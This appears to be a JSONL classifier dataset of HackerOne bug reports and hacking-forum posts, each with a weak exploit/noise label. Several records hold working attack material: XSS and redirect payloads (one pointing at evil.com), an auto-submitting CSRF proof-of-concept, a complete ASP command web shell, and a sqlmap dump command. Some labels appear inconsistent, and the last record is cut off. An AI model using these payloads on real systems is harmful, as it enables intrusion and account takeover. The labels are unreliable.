-{"id": "cc41e146acbe14e620c5", "text": "[Cross-site Scripting (XSS) - Stored] HTML injection in search UI when selecting a circle with HTML in the display name\n\nHTML injection is a web security issue where attackers insert harmful code into a web application, affecting how it appears and functions. This can lead to data theft, phishing, malware distribution, and session hijacking, posing significant risks to users and the application's integrity. Prevention involves thoroughly checking and encoding user-generated content to ensure it's safe for rendering in web pages.\n\nReproduction Steps: \n\n1. Log in to the application using a low-privilege user account.\n2. Access the \"Contacts\" section and initiate the creation of a new Circle.\n3. When naming the Circle, insert the following payload: ``<meta http-equiv=\"refresh\" content=\"2; https://evil.com/\" />``.\n4. Share the Circle with a user account having an \"Admin\" role.\n5. Switch to the \"Admin\" user role and go to \"Files\" > \"Shared with Circles.\"\n6. Observe that the browser will redirect to a malicious website within a 2-second timeframe.\n\nVideo POC : \n{F2775888}\n\n## Impact\n\nHTML injection can have significant impacts, including:\n\nData theft\nPhishing attacks\nMalware distribution\nSession hijacking\nThese consequences can harm both users and the application's security.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a83dfec157359c00739d", "text": "[Insecure Direct Object Reference (IDOR)] Enabling Birthday Contact to any user\n\n## Summary:\nWas able to enable ` Birthday Contacts ` any User, Admin, SuperAdmin. from a low privileged user.\n\n## Steps To Reproduce:\n- Navigate to Calendar. \n- At the very bottom find calendar settings \n- Click on `Enable Birthday Contacts ` \n- Intercept the following request \n\n```\nPOST /remote.php/dav/calendars/{userId}\n\n<x3:enable-birthday-calendar xmlns:x3=\"http://nextcloud.com/ns\"/>\n```\n\n## Impact\n\nUsers with low privileges enable the \"Birthday Contacts\" feature for any user, including Admins and SuperAdmins, within the Nextcloud application. By following a simple set of steps, an attacker could navigate to the Calendar section, access the calendar settings, enable the \"Birthday Contacts\" feature, and intercept a specific request to achieve this unauthorized action.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e91d41151166fe3a9c46", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS in Question edit for product name (bypass #1416672)\n\nHi @judgeme!\nStep to reproduce:\n1. Log in to your shopify account and create product with name `&#34;&#62;&#60;&#34;&#62;&#60;img src=x onerror=prompt(document.domain)&#62; img src=x onerror=prompt(document.domain)&#62;`\n2. Go to our store and write question to our product with name `&#34;&#62;&#60;&#34;&#62;&#60;img src=x onerror=prompt(document.domain)&#62; img src=x onerror=prompt(document.domain)&#62;`\n3. Then delete our product from store (The product status must be (out of store) in questions.\n4. Then go to Shopify admin/Judge.me Product Reviews/Questions and edit question. XSS triage\n\n\n{F1547145}\n\n\nPOC video\n\n{F1547181}\n\n## Impact\n\nsession stealer", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8380a254bd504a96d08c", "text": "[Server-Side Request Forgery (SSRF)] Mail app - blind SSRF via smtpHost parameter\n\nHi everyone,\n\nI would like to report here a Blind SSRF vulnerability through the Nextcloud Mail application.\n\nTested on latest Mail release : `2.0.1`.\n\n## Steps To Reproduce:\n\nThis is a similar report to report #1736390, but this time on a different parameter. The vulnerable parameter is `smtpHost`.\n\nThe only difference here is that you have to enter the correct settings for the IMAP part first. The server will first check if the IMAP parameters are correct, before checking the SMTP parameters and thus allowing us to use this SSRF blind.\n\nThe POST request in question : \n\n```\n{\"imapHost\":\"ssl0.ovh.net\",\"imapPort\":993,\"imapSslMode\":\"ssl\",\"imapUser\":\"redacted\",\"imapPassword\":\"redacter\",\"smtpHost\":\"127.0.0.1\",\"smtpPort\":8080,\"smtpSslMode\":\"none\",\"smtpUser\":\"xx\",\"smtpPassword\":\"xx\",\"accountName\":\"Test1\",\"emailAddress\":\"xxx@xxx.org\"}\n```\n\nThis does not change afterwards, we can probe accessible IPs/open ports based on the response time : \n\n- For an accessible host/port: response time > 1000ms \n- For a closed port/host that does not exist: response time < 100ms\n\n{{F1998975}}\n\n```\nPort 80 - response time : 5200ms - Apache2 service\nPort 443 - response time : 5200ms - Apache2 service\nPort 8080 - response time 5140ms - CrowdSec\nPort 6060 - response time 5180ms - CrowdSec\nPort 5432 - response time 5191ms -  PostgreSQL\nPort 6379 - response time 5216ms - My Redis instance for Nextcloud\n```\n\n## Impact\n\nFrom [OWASP](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/) :\n\n> SSRF flaws occur whenever a web application is fetching a remote resource without validating the user-supplied URL. It allows an attacker to coerce the application to send a crafted request to an unexpected destination, even when protected by a firewall, VPN, or another type of network access control list (ACL).\n\nThis vulnerability can be exploited by any user, regardless of their rights, as long as the mail application is installed and enabled. A malicious person can therefore retrieve the services running locally on the server, scan your internal network for interesting information about which IPs are responding, which services are running on each IP address, etc.\n\nRegards,\nSupr4s", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f7524ae79cc84407da91", "text": "What should I do with links in comments on my site?\n\nI havent launched the article commenting system on my site yet, it's in the process of debugging, but suddenly I understood that comments on my site will most likely be used for not only sharing users' opinion, but for posting links as well. Both inbound links and outbound. Some useful, and some will definitely be spammy ones.Pre-moderation is looks a bit outdated to me, as now everyone wants to see their message posted immediately. But I also dont want to turn my site into a link farm.How do you solve the problem of links in comments?Maybe disable links altogether? Or replace them with asterisks ***? Or turn then into text?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "antionline", "timestamp": "2022-05-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "420017f965511c57c32d", "text": "[Server-Side Request Forgery (SSRF)] Blind SSRF External Interaction on ████████\n\nHii Security Team,\n\nI am S █████(Metaxone Certified Ethical Hacker) and a Security Researcher I just checked your website and found Blind SSRF External Interaction on ██████████\n\nWhat is SSRF?\nServer-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.\nIn typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services within the organization's infrastructure, or to external third-party systems.\nSSRF attacks often exploit trust relationships to escalate an attack from the vulnerable application and perform unauthorized actions. These trust relationships might exist in relation to the server itself, or in relation to other back-end systems within the same organization.\n\nSteps to reproduce:-\n\n1.Navigate to the website █████\n2.Now you can see at bottom on the right there is chat box or messanger box.\n3.Click on it and paste the Burp Collaborator URL { Example : In this scenario the URL belike ██████ } and click on send\n4.Now we will get HTTP and DNS interaction in Burp Collab and In HTTP requesting it is fetching the file ( test.png ) it means it is vulnerable to Blind SSRF\n\nReferences:- Similar report which is reported by another researcher ███████\n\n## Impact\n\nImpact:--\nThis Vulnerability can lead to Attack Surface Analysis is about mapping out what parts of a system need to be reviewed and tested for security vulnerabilities.\nThe attacker can fetch malicious files which can infect the server\nThis will allow attackers to gain access to an internal IP of a website along with other sensitive information that may be leaked with the request\n\nPOC Attached Below :-", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3f01d573018f34f3fc7c", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS + CSRF in \"apellido\" value\n\n## Summary:\nHi team,\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\nThis is my CSRF POC: \n<html>\n  <!-- CSRF PoC - generated by Burp Suite Professional -->\n  <body>\n    <form action=\"██████\" method=\"POST\" enctype=\"multipart/form-data\">\n      <input type=\"hidden\" name=\"nombre\" value=\"aaaaaaaaaaaaaaaa\" />\n      <input type=\"hidden\" name=\"apellido\" value=\"<script>alert()</script>\" />\n      <input type=\"hidden\" name=\"email\" value=\"weqwad&#64;intigriti&#46;me\" />\n      <input type=\"hidden\" name=\"rut\" value=\"\" />\n      <input type=\"hidden\" name=\"idProvincia\" value=\"15\" />\n      <input type=\"hidden\" name=\"idLocalidad\" value=\"0\" />\n      <input type=\"hidden\" name=\"optin&#91;usuario&#95;info&#95;miroyalcanin&#93;\" value=\"no\" />\n      <input type=\"hidden\" name=\"optin&#91;usuario&#95;info&#95;miroyalcanin&#93;\" value=\"si\" />\n      <input type=\"hidden\" name=\"optin&#91;usuario&#95;info&#95;marspetcare&#93;\" value=\"no\" />\n      <input type=\"hidden\" name=\"optin&#91;usuario&#95;info&#95;marspetcare&#93;\" value=\"si\" />\n      <input type=\"hidden\" name=\"optin&#91;usuario&#95;investigaciones&#93;\" value=\"no\" />\n      <input type=\"hidden\" name=\"optin&#91;usuario&#95;investigaciones&#93;\" value=\"si\" />\n      <input type=\"hidden\" name=\"optin&#91;usuario&#95;info&#95;perros&#93;\" value=\"no\" />\n      <input type=\"hidden\" name=\"optin&#91;usuario&#95;info&#95;perros&#93;\" value=\"si\" />\n      <input type=\"hidden\" name=\"optin&#91;usuario&#95;info&#95;gatos&#93;\" value=\"no\" />\n      <input type=\"hidden\" name=\"optin&#91;usuario&#95;info&#95;gatos&#93;\" value=\"si\" />\n      <input type=\"hidden\" name=\"switch&#95;pass\" value=\"off\" />\n      <input type=\"hidden\" name=\"ck&#95;oldpass\" value=\"\" />\n      <input type=\"hidden\" name=\"oldpass\" value=\"\" />\n      <input type=\"hidden\" name=\"clave\" value=\"\" />\n      <input type=\"hidden\" name=\"clave2\" value=\"\" />\n      <input type=\"hidden\" name=\"idUsuario\" value=\"91737\" />\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n    <script>\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    </script>\n  </body>\n</html>\n\n### The \"oldpass\" value can empty to bypass:))\n### The \"idUsuario\" value requirement can guess!!!\n\n### impact:\nAccount Takeover", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9afdab87ac0731ac6514", "text": "[HTTP Request Smuggling] HTTP Request Smuggling Due to Flawed Parsing of Transfer-Encoding\n\n**Summary:** \n\nThe `llhttp` parser in the `http` module in Node v17.8.0 does not correctly parse and validate `Transfer-Encoding` headers. This can lead to HTTP Request Smuggling (HRS).\n\n**Description:** \n\nAfter #1501679, I did a bit more digging into the issue, and found that there were more flaws in the parsing of `Transfer-Encoding` headers. Relevant code [here](https://github.com/nodejs/llhttp/blob/master/src/llhttp/http.ts#L483).\n\nAfter matching `\"chunked\"`, the parser attempts to match the CRLF sequence, failing which it matches `chunked` again. As a result, the following forms a valid request for the parser, despite the `Transfer-Encoding` value, `chunkedchunked`, being invalid.\n\n```http\nGET / HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunkedchunked\n\n1\na\n0\n\n```\n\nNode will process the `Transfer-Encoding` value as `chunked`, only seeing the last-match of the string `\"chunked\"`.\n\n## Steps To Reproduce:\n\nServer code I used for testing:\n\n```javascript\nconst http = require('http');\n\nhttp.createServer((request, response) => {\n   let body = [];\n   request.on('error', (err) => {\n   response.end(\"error while reading body: \" + err)\n   }).on('data', (chunk) => {\n      body.push(chunk);\n   }).on('end', () => {\n   body = Buffer.concat(body).toString();\n   \n   response.on('error', (err) => {\n      response.end(\"error while sending response: \" + err)\n   });\n\n   response.end(JSON.stringify({\n         \"Headers\": request.headers,\n         \"Length\": body.length,\n         \"Body\": body,\n      }) + \"\\n\");\n   });\n}).listen(80);\n```\n\nRequest:\n\n```http\nGET / HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunkedchunked\n\n1\na\n0\n\n\n```\n\nResponse:\n\n```http\nHTTP/1.1 200 OK\nDate: Mon, 28 Mar 2022 15:02:31 GMT\nConnection: keep-alive\nKeep-Alive: timeout=5\nContent-Length: 92\n\n{\"Headers\":{\"host\":\"localhost\",\"transfer-encoding\":\"chunkedchunked\"},\"Length\":1,\"Body\":\"a\"}\n```\n\n## Supporting Material/References:\n\nPayloads and outputs:\n{F1671151}\n\n## Impact\n\nDepending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "591adaa50e3d22403bde", "text": "[Business Logic Errors] Program managers can see draft reports using Export Reports feature\n\n**Summary:**\n\nHello. I have discovered a bug in the new draft feature. \n\nProgram managers can see draft reports using Export Reports feature. \n\n### Steps To Reproduce\n\n1. Make a draft (do not send) report on a public/private program.\n2. Go to the `https://hackerone.com/<program-handle>/export_reports` page and export reports.\n3. Check your e-mail and download the file got from HackerOne.\n4. Check the CSV file:\n\n{F1860656}\n\nAs you see, it says draft and disclosed report title, severity, weakness, etc.\n\nWhen you try to find it in the program inbox you can't find it, so completely sure this is a bug.\n\n{F1860658}\n\n## Impact\n\nProgram managers can see draft reports using Export Reports feature leads to PII disclosure without reporter permission.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "33cb8723a95290ddfcb2", "text": "[Command Injection - Generic] Arbitrary escape sequence injection in docker-machine from worker nodes\n\nHi,\n\nThis bug report is specific to docker-machine and its utilization by Gitlab as preferred tool to allow autoscaling across different providers (https://docs.gitlab.com/runner/configuration/autoscale.html). I am  not sure if it fits the scope here but wanted to reach out regarding this before I post it publicly in an upcoming blog post about general topic of escape sequence injection as it might still be relevant for you.\n\nI know that in future docker-machine will be replaced by native support but currently this is the preferred tool to allow autoscaling. (https://gitlab.com/groups/gitlab-org/-/epics/2502)\n\nAttack requirements and description:\n\n1. `docker-machine` reports information like version number in use by worker nodes.\n\n2. worker nodes may be running with a docker socket mounted in container to allow CI builds (of course alternatives like kaniko can be used but using docker socket is still a common approach)\n\n3. Using such an approach with docker-machine and docker executor with mounted docker socket basically means that ci/cd jobs have root access to worker nodes.\n\n4. Now a malicious ci/cd job can overwrite locally running docker daemon with a malicious docker daemon which will still be contacted by `docker-machine` to retrieve information like version, ip etc. Running commands like `docker-machine ls` on the bastion host would inject that malicious information in a window on Bastion node.\n\nPoC:\n\n1. Launch a worker instance using docker-machine and any driver.\n\n2. On the worker node, modify docker daemon to report following string in version response:\n\n```\n\"\\033]2;\\033[21t \\033[1;32m\\033[21t\\033[Jroot@host$ \\v\\033[0m View all output? hit enter to continue: \\v\\033[A?\\033[0\\033[2AA\\033[0\",\n```\n\nThis can be done by compiling docker from source and modifying the version information in `info.go` (https://github.com/moby/moby/blob/23.0/daemon/info.go#L104). Use this docker daemon to overwrite already running docker daemon on the worker node.\n\n3. Now run `docker-machine ls` or `docker-machine version worker_machine_name` and it will:\n\n- change window title by injecting escape sequence using `\\033[2;`\n- Inject arbitrary input in user's prompt i.e. `ll` and try to trick user into hitting enter and executing the input buffer as a command.\n\n4. Using a more malicious input, it will also be possible to crash the bastion node completely.\n\n`docker-machine` is executed with high privilege users and letting it output potentially malicious content can have a high impact not just with escape code injection but also if such an output is used for monitoring or automation scripts assuming that whatever it reports is validated content and not arbitrary information. `docker-machine` should validate this information especially for things like `version`\n\nMore about escape sequences which can be injected in terminals:  https://marc.info/?l=bugtraq&m=104612710031920&w=2\n\nPlease review if this fits into the scope here or if it would be alright to publish it as part of a public blog post regarding such attack vectors. \n\nThanks!\n\n## Impact\n\nEscape code injection\nDenial of Service", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5ed9b39eab1c472d9bee", "text": "it gave you the wrong version. I have had that happen to me on the mtu question. you are looking for version 4.15.0", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-12-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "639e3ac2e3e7ca0edf03", "text": "Should I install windows on my laptop, or should I start with kali immediately?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-05-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a7a3fff5408dda7096bd", "text": "[Command Injection - Generic] RCE via File Upload  with a Null Byte Truncated File Extension at https://██████/\n\nHi,\n\nI found \"repos\" at `https://███/` and `https://c█████████/` and this one (which doesn't have the file upload functionality appearing on the DOM, but it still may be there) `https://███████`.  There may be more, I had to fuzz a lot to find these. \n\nThese repos contain file upload functionality. I found that if you place a null byte between file extensions, you can upload files with malicious extensions. \n\nRunning the `dir` command at the uploaded file `https://████████/savefiles/poc.asp?cmd=dir`  - the shell has been deleted for security purposes. Let me know if you want me to reupload it. \n\n██████████\n\nThe request from burp - note the null byte: \n\n█████\n\n\n\n*** Reproduction ***\n\n1. Navigate to `https://███/`\n\n2. Submit a file upload the same as the request I made above. Make sure there is a null byte between asp and png. \n\n3. Visit `https://████████/savefiles/poc.asp` and run commands. \n\n\n## Impact\n\nEverything could be compromised.\n\n## System Host(s)\n████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nHere is the actual request, but I'm not sure how well the null byte will translate. \n\n```\nPOST /repo/orbital/repo.asp?fileToUpload=pizza.asp HTTP/1.1\nHost: ███\nCookie: ASPSESSIONIDCCSBDDQT=CAJLLPMCPOBLODENMGDGMADC\nContent-Length: 1306\nSec-Ch-Ua: \nAccept: */*\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary7RcvHwqSCmAtKCIB\nX-Requested-With: XMLHttpRequest\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36\nSec-Ch-Ua-Platform: \"\"\nOrigin: https://███████\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://████████/\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\n------WebKitFormBoundary7RcvHwqSCmAtKCIB\nContent-Disposition: form-data; name=\"myfile\"; filename=\"poc.asp.png\"\n\n\n<%\nSet oScript = Server.CreateObject(\"WSCRIPT.SHELL\")\nSet oScriptNet = Server.CreateObject(\"WSCRIPT.NETWORK\")\nSet oFileSys = Server.CreateObject(\"Scripting.FileSystemObject\")\nFunction getCommandOutput(theCommand)\n    Dim objShell, objCmdExec\n    Set objShell = CreateObject(\"WScript.Shell\")\n    Set objCmdExec = objshell.exec(thecommand)\n    getCommandOutput = objCmdExec.StdOut.ReadAll\nend Function\n%>\n\n\n<HTML>\n<BODY>\n<FORM action=\"\" method=\"GET\">\n<input type=\"text\" name=\"cmd\" size=45 value=\"<%= szCMD %>\">\n<input type=\"submit\" value=\"Run\">\n</FORM>\n<PRE>\n<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>\n<%Response.Write(Request.ServerVariables(\"server_name\"))%>\n<p>\n<b>The server's port:</b>\n<%Response.Write(Request.ServerVariables(\"server_port\"))%>\n</p>\n<p>\n<b>The server's software:</b>\n<%Response.Write(Request.ServerVariables(\"server_software\"))%>\n</p>\n<p>\n<b>The server's local address:</b>\n<%Response.Write(Request.ServerVariables(\"LOCAL_ADDR\"))%>\n<% szCMD = request(\"cmd\")\nthisDir = getCommandOutput(\"cmd /c\" & szCMD)\nResponse.Write(thisDir)%>\n</p>\n<br>\n</BODY>\n</HTML>\n\n\n\n------WebKitFormBoundary7RcvHwqSCmAtKCIB--\n\n```\n\n*** Reproduction ***\n\n1. Navigate to `https://███/`\n\n2. Submit a file upload the same as the request I made above. Make sure there is a null byte between asp and png. \n\n3. Visit `https://████/savefiles/poc.asp` and run commands.\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ce70f48ee2da6685407a", "text": "[Information Disclosure] Able to see Bonus amount given to a report  even if the bounty and Bonus is not visible to public or mentioned in {Report-Id}.json\n\n**Summary:** \nHey team,\nwhile looking at your Disclosed reports I noticed that on report #2082680 you awarded the user with a Bonus and no bounty at all it was hidden as well because the Activity shows that \"HackerOne rewarded someone with a bounty. \" which also included the **Bonus**, upon checking the #2082680.json  I did not found the \"bonus_amount\" parameter at all or any number representing ████ which was the bonus given to the user thus it was supposed to be a Confidential but it's now exposed to the public.\n\nAs a PoC look at this report showing the Bonus amount in JSON \nA bonus of ███████ was given to the user of this report as well  https://hackerone.com/reports/1952124.json but upon checking the JSON format of this you can clearly see it's mentioned in the \"bonus_amount\"  parameter.\n\n**Description:**\n\n### Steps To Reproduce\n\n1. Go to https://hackerone.com/reports/2082680 and see the right column of the screen and see the activity column's Bounty amount  \n ████\n\n## Impact\n\nConfidential  Information Disclosure", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7184ee76f2a1619118dd", "text": "[Unknown] Bypass Email Verification in Customer Portal\n\nHi team hope you doing well :) \ni found a vulnerability [  OTP Bypass  ] on [ https://portal.test.cloud.mattermost.com ] .\nSummery : \nI was able to use the otp that was sent to victim email and i used it in the attacker's email verify .when i tried this issue first time the server log me out  , and second time i do intercept for request and i was still in and click [next step ] on payment step and am still in without the server log me out and stop the burp after that and am in and i can using my account normally .\n\n## Steps To Reproduce:\n\n  1. [make two account :  victim / attacker]\n  1. [ used otp that send to victim and inter it on attacker email verify and intercept the request  by burp. ]\n  1. [when you doing intercept by burp click on next step and full the form and click enter and you can stop proxy and you can used the account normally.  ]\n\n\n## Supporting Material/References:\n[https://link.medium.com/xFYjx29xAmb]\n\n## Impact\n\nOTP bypass .", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d55c03a2b25161d477e7", "text": "[Unknown] Application level DOS at Login Page ( Accepts Long Password )\n\nApplication-level Denial of Service (DOS)\n\nIt is an emerging class of security attacks on sites. They aim to overwhelm the site by flooding the server with requests that are disguised as legitimate users. The sudden increase in traffic shuts down machines and networks to make them unavailable to other users.\nA DOS most often happens when an application contains either functional or architectural flaws that allow for remote interactions to consume large quantities of the host system’s resources, which can lead to the system locking-up or otherwise failing to deliver content.\nDOS and DDoS (distributed denial of service) attacks are difficult to distinguish from regular surges of traffic. DoS testing is recommended to make sure your site is protected.\nStep to reproduce. \n\n1.\tGo to the link https://www.ajaxshop.nl/nl/account\n2.\tSignup using the email id. \n3.\tOn password field try to input many digits, any large password whatever is convenient for you.\n4.\tThe password I tried is:\nT12345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678912345678", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d2f35762bd36eb52159d", "text": "I can’t get the lab to work. I tried now for 5 days to get it working. Normally I use my own kali linux Visual Studio Codium in Python, but for C# it is a struggle with the libraries import ??? I did all the sections, except the Skills Assessment. I also tried Visual Studio Code and even installed on my Windows machine Visual Studio but I keep getting stuck on library Assessment.dll. I need this for knowing the paths to smuggler the Apache server because it’s vulnerable. With Ffuf I did not succeed. Furthermore I tried to parse the .dll for the wordlist but no success either. Please help me to get the last flag to finish this HTB module!!!", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "722df1502c432145c39b", "text": "cherryeater: I will happy to help you without spoilering if you still needed. Can you give any more hints?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e9b25f38d88b097a3498", "text": "[SQL Injection] SQL Injection at https://████████.asp (█████████) [selMajcom] [HtUS]\n\n## Summary:\nSQL injection (SQLi) is a vulnerability in which an application accepts input into an SQL statement and treats this input as part of the statement. Typically, SQLi allows a malicious attacker to view, modify or delete data that should not be able to be retrieved. An SQLi vulnerability was found for this host which allows an attacker to execute code and view data from the SQL service by submitting SQL queries.\n\nAn attacker could exploit this lack of input sanitization to exfiltrate database data and files, tamper with the data, or perform resource exhaustion. Depending on the database and how it is configured, an attacker could potentially remotely execute code on the server running the database.\n\nI found SQL Injection at https://█████████.asp allowing attacker can exfiltrate database and leak sensitive data of ███████ without authentication.\n\n## Steps To Reproduce:\n1. Access to https://████.asp \nCreate an user, after create go to https://████.asp\n2. Capture request on burpsuite with the following request\n\n```\nGET /█████mil/AFServices/RequestAccess.asp?selMajcom=MAT*&selbase=MXRD&Submitted=1&Appid=29&FuncID=23&App=Activity+Database+FMP HTTP/1.1\nHost: ██████████.████.net:443\nCookie: ebsprod=7nchaAqvaxeCArcwSjtyE0HiG4; ASPSESSIONIDQQBSACRQ=MPHFFIECABOOKHDLEIEEOAHA\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nDnt: 1\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: none\nSec-Fetch-User: ?1\nTe: trailers\nConnection: close\n\n```\nInject SQL query to vulnerable parameter **selMajcom**\n\nSave request to file dod.txt\n\n```\nGET /██████mil/AFServices/RequestAccess.asp?selMajcom=MAT*&selbase=MXRD&Submitted=1&Appid=29&FuncID=23&App=Activity+Database+FMP HTTP/1.1\nHost: ███.██████████.net:443\nCookie: ebsprod=7nchaAqvaxeCArcwSjtyE0HiG4; ASPSESSIONIDQQBSACRQ=MPHFFIECABOOKHDLEIEEOAHA\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nConnection: close\n\n```\nAttack automation with sqlmap command\n\n```\npython sqlmap.py -r dod.txt --dbs --level 3 risk 3 -v3\n```\n\n## Supporting Material/References:\n█████\n\n```\navailable databases [24]:\n[*] ActivityManager\n[*] AFMajcomBases\n[*] AFNAF\n[*] AFServicesUsers\n[*] AFSponsorship\n[*] AssetsAndLiabilities\n[*] BaseProjects\n[*] BEFT\n[*] CGO\n[*] EICSQL\n[*] master\n[*] model\n[*] msdb\n[*] NAFDIS\n[*] NAFRIS_restore\n[*] 